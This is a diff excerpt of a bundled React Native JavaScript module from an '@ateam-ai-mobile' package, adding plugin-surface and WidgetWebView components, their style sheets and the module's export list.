+ /* @__PURE__ */ jsx10(Text7, { style: styles10.loadingText, children: "Loading plugin..." })
1596
+ ] });
1597
+ }
1598
+ if (error || !plugin) {
1599
+ return /* @__PURE__ */ jsx10(View10, { style: styles10.center, children: /* @__PURE__ */ jsx10(Text7, { style: styles10.errorMessage, children: error || "Plugin not found" }) });
1600
+ }
1601
+ const { Component } = plugin;
1602
+ return /* @__PURE__ */ jsx10(PluginErrorBoundary, { pluginId: id, children: /* @__PURE__ */ jsx10(Component, { bridge, native, theme, context, props: engineProps }) });
1603
+ }
1604
+ var styles10 = StyleSheet10.create({
1605
+ center: {
1606
+ flex: 1,
1607
+ justifyContent: "center",
1608
+ alignItems: "center",
1609
+ backgroundColor: colors2.dark.bgPrimary,
1610
+ paddingHorizontal: 32,
1611
+ gap: 12
1612
+ },
1613
+ loadingText: {
1614
+ color: colors2.dark.textSecondary,
1615
+ fontSize: 14
1616
+ },
1617
+ error: {
1618
+ flex: 1,
1619
+ justifyContent: "center",
1620
+ alignItems: "center",
1621
+ backgroundColor: colors2.dark.bgPrimary,
1622
+ paddingHorizontal: 32,
1623
+ gap: 8
1624
+ },
1625
+ errorTitle: {
1626
+ color: colors2.dark.red,
1627
+ fontSize: 16,
1628
+ fontWeight: "600"
1629
+ },
1630
+ errorMessage: {
1631
+ color: colors2.dark.textSecondary,
1632
+ fontSize: 14,
1633
+ textAlign: "center"
1634
+ },
1635
+ retryBtn: {
1636
+ marginTop: 12,
1637
+ paddingHorizontal: 20,
1638
+ paddingVertical: 10,
1639
+ backgroundColor: colors2.dark.accentSoft,
1640
+ borderRadius: 8
1641
+ },
1642
+ retryText: {
1643
+ color: colors2.dark.accent,
1644
+ fontSize: 14,
1645
+ fontWeight: "600"
1646
+ }
1647
+ });
1648
+
1649
+ // src/plugin/PluginSurface.tsx
1650
+ import { useEffect as useEffect5, useState as useState6 } from "react";
1651
+ import { View as View11, ActivityIndicator as ActivityIndicator3 } from "react-native";
1652
+ import { ada as ada7 } from "@ateam-ai-mobile/core";
1653
+ import {
1654
+ getPlugin,
1655
+ SurfaceDrawer,
1656
+ SurfaceFullscreen
1657
+ } from "@ateam-ai-mobile/plugin-runtime";
1658
+ import { jsx as jsx11 } from "react/jsx-runtime";
1659
+ function PluginSurface({ pluginId, surface, dismiss, props }) {
1660
+ const [manifest, setManifest] = useState6(null);
1661
+ const [error, setError] = useState6(null);
1662
+ useEffect5(() => {
1663
+ let cancelled = false;
1664
+ getPlugin(pluginId).then((m) => {
1665
+ if (!cancelled) m ? setManifest(m) : setError("Plugin not found");
1666
+ }).catch((e) => {
1667
+ if (!cancelled) setError(e?.message || "Failed to load");
1668
+ });
1669
+ return () => {
1670
+ cancelled = true;
1671
+ };
1672
+ }, [pluginId]);
1673
+ const body = manifest ? /* @__PURE__ */ jsx11(Plugin, { id: pluginId, manifest, props }) : /* @__PURE__ */ jsx11(View11, { style: { flex: 1, justifyContent: "center", alignItems: "center", padding: 24 }, children: error ? null : /* @__PURE__ */ jsx11(ActivityIndicator3, { color: ada7.orange }) });
1674
+ if (surface.type === "fullscreen") {
1675
+ return /* @__PURE__ */ jsx11(
1676
+ SurfaceFullscreen,
1677
+ {
1678
+ visible: true,
1679
+ onClose: dismiss,
1680
+ status: surface.title,
1681
+ showWordmark: true,
1682
+ closeIcon: "x",
1683
+ closeLabel: "Close",
1684
+ children: body
1685
+ }
1686
+ );
1687
+ }
1688
+ return /* @__PURE__ */ jsx11(
1689
+ SurfaceDrawer,
1690
+ {
1691
+ visible: true,
1692
+ onClose: dismiss,
1693
+ title: surface.title || pluginId,
1694
+ subtitle: surface.subtitle,
1695
+ privacy: !!surface.privacy,
1696
+ children: body
1697
+ }
1698
+ );
1699
+ }
1700
+
1701
+ // src/widgets/WidgetWebView.tsx
1702
+ import { useMemo as useMemo4, useState as useState7 } from "react";
1703
+ import {
1704
+ Modal as Modal2,
1705
+ View as View12,
1706
+ Text as Text8,
1707
+ Pressable as Pressable6,
1708
+ StyleSheet as StyleSheet11,
1709
+ ActivityIndicator as ActivityIndicator4,
1710
+ Platform as Platform7
1711
+ } from "react-native";
1712
+ import { WebView as WebView2 } from "react-native-webview";
1713
+ import { ada as ada8 } from "@ateam-ai-mobile/core";
1714
+ import { getCoreApiUrl as getCoreApiUrl2 } from "@ateam-ai-mobile/core";
1715
+ import { Fragment as Fragment2, jsx as jsx12, jsxs as jsxs10 } from "react/jsx-runtime";
1716
+ var fontFam4 = Platform7.OS === "ios" ? "SF Pro Rounded" : void 0;
1717
+ function WidgetWebView({ visible, title, bundleUrl, onClose }) {
1718
+ const [loading, setLoading] = useState7(true);
1719
+ const [error, setError] = useState7(null);
1720
+ const uri = useMemo4(() => {
1721
+ if (!bundleUrl) return null;
1722
+ if (/^https?:\/\//i.test(bundleUrl)) return bundleUrl;
1723
+ return `${getCoreApiUrl2()}${bundleUrl}`;
1724
+ }, [bundleUrl]);
1725
+ return /* @__PURE__ */ jsx12(
1726
+ Modal2,
1727
+ {
1728
+ visible,
1729
+ animationType: "slide",
1730
+ presentationStyle: "pageSheet",
1731
+ onRequestClose: onClose,
1732
+ children: /* @__PURE__ */ jsxs10(View12, { style: styles11.root, children: [
1733
+ /* @__PURE__ */ jsxs10(View12, { style: styles11.bar, children: [
1734
+ /* @__PURE__ */ jsx12(Pressable6, { onPress: onClose, hitSlop: 12, style: styles11.closeBtn, children: /* @__PURE__ */ jsx12(Text8, { style: styles11.closeIcon, children: "\u2715" }) }),
1735
+ /* @__PURE__ */ jsx12(Text8, { style: styles11.title, numberOfLines: 1, children: title || "Widget" }),
1736
+ /* @__PURE__ */ jsx12(View12, { style: styles11.closeBtn })
1737
+ ] }),
1738
+ !uri ? /* @__PURE__ */ jsx12(View12, { style: styles11.errorWrap, children: /* @__PURE__ */ jsx12(Text8, { style: styles11.errorText, children: "No bundle available for this widget." }) }) : error ? /* @__PURE__ */ jsxs10(View12, { style: styles11.errorWrap, children: [
1739
+ /* @__PURE__ */ jsx12(Text8, { style: styles11.errorText, children: "Couldn't load widget" }),
1740
+ /* @__PURE__ */ jsx12(Text8, { style: styles11.errorSub, children: error })
1741
+ ] }) : /* @__PURE__ */ jsxs10(Fragment2, { children: [
1742
+ /* @__PURE__ */ jsx12(
1743
+ WebView2,
1744
+ {
1745
+ source: { uri },
1746
+ style: styles11.web,
1747
+ onLoadStart: () => {
1748
+ setLoading(true);
1749
+ setError(null);
1750
+ },
1751
+ onLoadEnd: () => setLoading(false),
1752
+ onError: (e) => {
1753
+ setLoading(false);
1754
+ setError(e.nativeEvent.description || "Unknown error");
1755
+ },
1756
+ onHttpError: (e) => {
1757
+ setLoading(false);
1758
+ setError(`HTTP ${e.nativeEvent.statusCode}`);
1759
+ },
1760
+ originWhitelist: ["https://*"],
1761
+ setSupportMultipleWindows: false
1762
+ }
1763
+ ),
1764
+ loading && /* @__PURE__ */ jsx12(View12, { pointerEvents: "none", style: styles11.spinner, children: /* @__PURE__ */ jsx12(ActivityIndicator4, { color: ada8.orange }) })
1765
+ ] })
1766
+ ] })
1767
+ }
1768
+ );
1769
+ }
1770
+ var styles11 = StyleSheet11.create({
1771
+ root: {
1772
+ flex: 1,
1773
+ backgroundColor: ada8.paper
1774
+ },
1775
+ bar: {
1776
+ flexDirection: "row",
1777
+ alignItems: "center",
1778
+ paddingHorizontal: 14,
1779
+ paddingVertical: 12,
1780
+ borderBottomWidth: 1,
1781
+ borderBottomColor: ada8.border,
1782
+ backgroundColor: ada8.paperSoft
1783
+ },
1784
+ closeBtn: {
1785
+ width: 32,
1786
+ height: 32,
1787
+ alignItems: "center",
1788
+ justifyContent: "center"
1789
+ },
1790
+ closeIcon: {
1791
+ fontSize: 18,
1792
+ color: ada8.ink,
1793
+ fontWeight: "500"
1794
+ },
1795
+ title: {
1796
+ flex: 1,
1797
+ textAlign: "center",
1798
+ fontSize: 16,
1799
+ fontWeight: "600",
1800
+ color: ada8.ink,
1801
+ fontFamily: fontFam4,
1802
+ letterSpacing: -0.2
1803
+ },
1804
+ web: {
1805
+ flex: 1,
1806
+ backgroundColor: ada8.paper
1807
+ },
1808
+ spinner: {
1809
+ position: "absolute",
1810
+ top: 80,
1811
+ left: 0,
1812
+ right: 0,
1813
+ alignItems: "center"
1814
+ },
1815
+ errorWrap: {
1816
+ flex: 1,
1817
+ alignItems: "center",
1818
+ justifyContent: "center",
1819
+ paddingHorizontal: 24
1820
+ },
1821
+ errorText: {
1822
+ fontSize: 15,
1823
+ color: ada8.ink,
1824
+ fontWeight: "600",
1825
+ marginBottom: 6
1826
+ },
1827
+ errorSub: {
1828
+ fontSize: 13,
1829
+ color: ada8.inkMuted,
1830
+ textAlign: "center"
1831
+ }
1832
+ });
1833
+ export {
1834
+ AdasChatScreen,
1835
+ ChatInput,
1836
+ DaySeparator,
1837
+ EmbeddedPluginWebView,
1838
+ JobProgressBar,
1839
+ Lightbox,
1840
+ MessageBubble,
1841
+ Plugin,
1842
+ PluginSurface,
1843
+ TableCardBlock,
1844
+ TypingIndicator,
1845
+ UIActionsRow,
1846
+ WidgetWebView,
1847
+ buildPluginBridgeJS,
1848
+ setClipboardProvider,
1849
+ setUIActionNavigator,
1850
+ useLightboxStore,
1851
+ usePluginBridge
1852
+ };
1853
+ //# sourceMappingURL=index.mjs.map